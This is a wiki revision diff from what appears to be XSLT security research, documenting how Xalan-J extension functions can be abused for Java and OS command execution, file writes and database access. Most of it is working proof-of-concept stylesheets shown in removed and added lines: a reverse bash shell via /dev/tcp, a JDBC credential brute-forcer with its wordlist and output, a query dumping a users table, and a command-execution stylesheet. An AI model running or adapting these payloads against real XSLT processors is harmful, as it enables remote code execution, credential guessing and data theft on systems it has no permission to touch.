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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 65.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:47
Change comment: There is no comment for this version
To version Icon 40.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:29
Change comment: There is no comment for this version

Summary

Details

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... ... @@ -22,7 +22,7 @@
22 22  * Java properties disclosure
23 23  * Java environment disclosure
24 24  * Java code execution
25 -* OS command execution
25 +* Arbitrary command execution
26 26  * File creation
27 27  * JDBC connectivity
28 28  
... ... @@ -44,60 +44,25 @@
44 44  
45 45  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
46 46  
47 +
47 47  |=Namespace|=Extension function|=PoC|=Sample output
48 48  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 49  Wed Jan 11 22:45:07 CET 2012
50 50  
51 -== OS command execution ==
52 +== Execution of external commands ==
52 52  
53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class.
54 +The following code will execute the command "touch /tmp/hello" :
54 54  
55 -=== Command without output ===
56 -
57 -The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
58 -
59 -|=Namespace|=Extension functions|=PoC
60 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
61 -
62 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
63 -
64 -=== Reading stdout ===
65 -
66 -As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (yeah !), but the syntax is awful and error prone.
67 -
68 -It's far more efficient to 1) write loops using non-standard constructs 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT).
69 -
70 -=== A pure Java reverse-shell ===
71 -
72 -It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-(
73 -
74 -== File creation ==
75 -
76 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
77 -
78 -|=Namespace|=Extension element|=Parameter|=PoC
79 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
80 -
81 -== JDBC connectivity ==
82 -
83 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
84 -
85 -=== Simple connection ===
86 -
87 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
88 -
89 -|=Namespace|=Extension function|=PoC
90 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
91 -
92 -=== Credentials brute-forcing ===
93 -
94 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
95 -
96 -
97 -Here's the output when launched from the CLI :
98 -
99 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
100 -Username : [root] / Password : [] :
101 -Username : [root] / Password : [uberpasswd] :
102 -Username : [root] / Password : [cnam] : OK !!
103 -Username : [pma] / Password : [pma] : ##
56 +<?xml version="1.0"?>
57 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
58 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
59 + exclude-result-prefixes="j"
60 + version="1.0">
61 + <xsl:template match="/">
62 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
63 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
64 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
65 + <xsl:variable name="p" select="j:exec($r, $a )"/>
66 + No content at the moment ...
67 + </xsl:template>
68 +</xsl:stylesheet>
Icon xalanj-java-date.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet version="1.0"
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 - exclude-result-prefixes="date">
5 - <xsl:output method="text"/>
6 - <xsl:template match="/">
7 - <xsl:variable name="dateObject" select="date:new()"/>
8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 - </xsl:template>
10 -</xsl:stylesheet>
11 -
Icon xalanj-jdbc-bruteforce.xml
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1 -xwiki:XWiki.NicolasGregoire
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1 -<data>
2 - <foobar>
3 - <DBINFO>
4 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
5 - <dburl>jdbc:mysql://localhost/</dburl>
6 - <user>root</user>
7 - <password></password>
8 - </DBINFO>
9 - </foobar>
10 - <foobar>
11 - <DBINFO>
12 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
13 - <dburl>jdbc:mysql://localhost/</dburl>
14 - <user>root</user>
15 - <password>uberpasswd</password>
16 - </DBINFO>
17 - </foobar>
18 - <foobar>
19 - <DBINFO>
20 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
21 - <dburl>jdbc:mysql://localhost/</dburl>
22 - <user>root</user>
23 - <password>cnam</password>
24 - </DBINFO>
25 - </foobar>
26 - <foobar>
27 - <DBINFO>
28 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
29 - <dburl>jdbc:mysql://localhost/</dburl>
30 - <user>pma</user>
31 - <password>pma</password>
32 - </DBINFO>
33 - </foobar>
34 -</data>
35 -
Icon xalanj-jdbc-bruteforce.xsl
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1 -<?xml version="1.0"?>
2 -
3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 - version="1.0"
5 - xmlns:sql="org.apache.xalan.lib.sql.XConnection"
6 - extension-element-prefixes="sql">
7 -
8 -<xsl:output method="text" indent="yes"/>
9 -<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
10 -
11 -<xsl:template match="//data">
12 - <xsl:for-each select="foobar">
13 -
14 - <xsl:variable name="cinfo" select="DBINFO"/>
15 - <xsl:variable name="user" select="DBINFO/user/text()"/>
16 - <xsl:variable name="passwd" select="DBINFO/password/text()"/>
17 -
18 - <xsl:variable name="db" select="sql:new($cinfo)"/>
19 - <xsl:variable name="data" select='sql:query($db, $query)'/>
20 -
21 - <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
22 - <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
23 - <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
24 -
25 - </xsl:for-each>
26 -</xsl:template>
27 -
28 -</xsl:stylesheet>
29 -
Icon xalanj-jdbc-query.xsl
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 - extension-element-prefixes="sql"
4 - version="1.0">
5 -
6 -<xsl:output method="xml" indent="yes"/>
7 -
8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 -<xsl:param name="user" select="'root'"/>
11 -<xsl:param name="pass" select="'14m31337'"/>
12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 -
14 -<xsl:template match="/">
15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 - <xsl:copy-of select="$table" />
18 - <xsl:value-of select="sql:close($db)"/>
19 -</xsl:template>
20 -
21 -</xsl:stylesheet>
22 -
Icon xalanj-reverse-bash.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:jv="http://xml.apache.org/xalan/java"
4 - exclude-result-prefixes="jv"
5 - version="1.0">
6 -
7 - <xsl:template match="/">
8 -
9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 -
14 -Objet "String" :
15 - <xsl:value-of select="$test"/>
16 -
17 -Objet "Array" :
18 - <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 - <xsl:value-of select="$aAsString"/>
20 -
21 -Objet "Runtime" :
22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 - <xsl:value-of select="$rtobjectAsString"/>
24 -
25 -Objet "Process" :
26 - <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 - <xsl:value-of select="$processAsString"/>
28 -
29 - </xsl:template>
30 -</xsl:stylesheet>
31 -
Icon xalanj-write.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:redir="http://xml.apache.org/xalan/redirect"
3 - extension-element-prefixes="redir"
4 - version='1.0'>
5 -
6 - <xsl:template match="/">
7 - <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 - <xsl:text>Just a PoC</xsl:text>
9 - </redir:write>
10 - </xsl:template>
11 -
12 -</xsl:stylesheet>
13 -